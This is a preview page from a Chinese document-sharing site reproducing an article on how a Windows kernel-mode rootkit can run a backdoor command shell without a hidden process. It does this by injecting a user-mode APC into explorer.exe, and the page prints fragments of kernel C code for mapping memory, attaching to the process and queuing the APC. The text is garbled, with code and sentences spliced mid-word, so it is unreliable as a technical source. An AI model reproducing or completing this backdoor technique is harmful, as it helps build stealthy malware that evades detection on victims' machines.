浅谈rootkit如何在内核模式实现后门隐藏

浅谈rootkit如何在内核模式实现后门隐藏

ID:23762319

大小:57.00 KB

页数:5页

时间:2018-11-10

浅谈rootkit如何在内核模式实现后门隐藏_第1页
浅谈rootkit如何在内核模式实现后门隐藏_第2页
浅谈rootkit如何在内核模式实现后门隐藏_第3页
浅谈rootkit如何在内核模式实现后门隐藏_第4页
浅谈rootkit如何在内核模式实现后门隐藏_第5页
资源描述:

《浅谈rootkit如何在内核模式实现后门隐藏》由会员上传分享,免费在线阅读,更多相关内容在学术论文-天天文库

1、浅谈Rootkit如何在内核模式实现后门隐藏~教育资源库  很多人对Rootkit感兴趣,Rootkit技术已经用于很多流氓软件中,杀毒软件开始重视Rootkit。很多Rootkit所做的主要工作是在内核态做手脚来隐藏攻击者的后门。那么相应就有很多检测工具来检测隐藏的进程与线程。  有没有办法在Rootkit的内核模块里就实现一个完整的后门,提供一个CMD出来呢?这样就免去了隐藏进程所带来的风险。  NTRootkit试图这么做过,不知道什么原因这个功能并没有开发完成。这涉及到一个问题,如何从内核态来执行用户态

2、代码。  关于这个话题有人很早就已经研究了,但是目前还没有成熟的、公开源码的后门使用这样的技术。也许觉得这很神秘?其实不然。Rootkit.上的valerino就提到过用APC的方法来CreateProcess。  如果对odeApc(lpProcess,  pTargetThread,  pTargetProcess);  }  InstallUserModeApc原型:  CODENTSTATUS  InstallUserModeApc(  INLPSTRlpProcess,  INPKTHREADpTar

3、getThread,  INPEPROCESSpTargetProcess);  其中pTargetProcess是目标进程explore.exe的Eprocess指针,pTargetThread是我们的APC即将插入的线程KTHREAD指针。接着我们就为APC和映射我们代码的内存描述表(MDL)分配内存:     PRKAPCpApc=NULL;  PMDLpMdl=NULL;  ULONGdProbeAndLockPages(pMdl,KernelMode,Iodl驻留在内存中,映射到我们的用户态代码(就是

4、ApcCreateProcess()。如果Explore.exe没有访问内核区域的权限,它怎么能调用我们的APC例程呢?     KAPC_STATEApcState;  //附着到Explore.exe的进程空间  KeStackAttachProcess((pTargetProcess->Pcb),ApcState);  //将我们的代码物理页面映射到进程空间  pMappedAddress=  MmMapLockedPagesSpecifyCache(pMdl,  UserMode,  MmCach

5、ed,  NULL,FALSE,  NormalPagePriority);  我们来看看我们的APC代码,它将映射到Explorer的进程地址空间。  将AL)压入堆栈,然后0xabcd,然后call。0xabcd是apLockedPagesSpecifyCache(pMdl,  UserMode,  MmCached,  NULL,FALSE,  NormalPagePriority);  demset((unsignedchar*)pMappedAddress+0x14,0,300);  //Copylp

6、Process,即我们要执行的exe文件地址的字符串,到映射的内存空间  memcpy((unsignedchar*)pMappedAddress+0x14,  lpProcess,  strlen(lpProcess));  data_addr=(ULONG*)((char*)pMappedAddress+0x9);//(参数0xabcd原来的位置)  *data_addr=dp;ApcState);  现在要做的就只是初始化我们的APC然后插入目标线程。     //初始化APC  KeInitialize

7、Apc(pApc,  pTargetThread,  OriginalApcEnvironment,  ApcKernelRoutine,  NULL,  pMappedAddress,  UserMode,  NULL);  //插入APC队列  KeInsertQueueApc(pApc,0,NULL,0);  //若是non-alertable线程  if(!pTargetThread->ApcState.UserApcPending)  {  //置为alertable  pTargetThrea

8、d->ApcState.UserApcPending=TRUE;  }  returnSTATUS_SUCCESS;  }  东西很多,讲得有些杂。推荐大家去看看《Rootkit-SubvertingtheWindows》这本书。虽然那讲得很多东西有些过时,但是作为一个对Rootkit的基本了解还是很有帮助。友情提醒:,特别!

当前文档最多预览五页,下载文档查看全文

此文档下载收益归作者所有

当前文档最多预览五页,下载文档查看全文
温馨提示:
1. 部分包含数学公式或PPT动画的文件,查看预览时可能会显示错乱或异常,文件下载后无此问题,请放心下载。
2. 本文档由用户上传,版权归属用户,天天文库负责整理代发布。如果您对本文档版权有争议请及时联系客服。
3. 下载前请仔细阅读文档内容,确认文档内容符合您的需求后进行下载,若出现内容与标题不符可向本站投诉处理。
4. 下载文档时可能由于网络波动等原因无法下载或下载错误,付费完成后未能成功下载的用户请联系客服处理。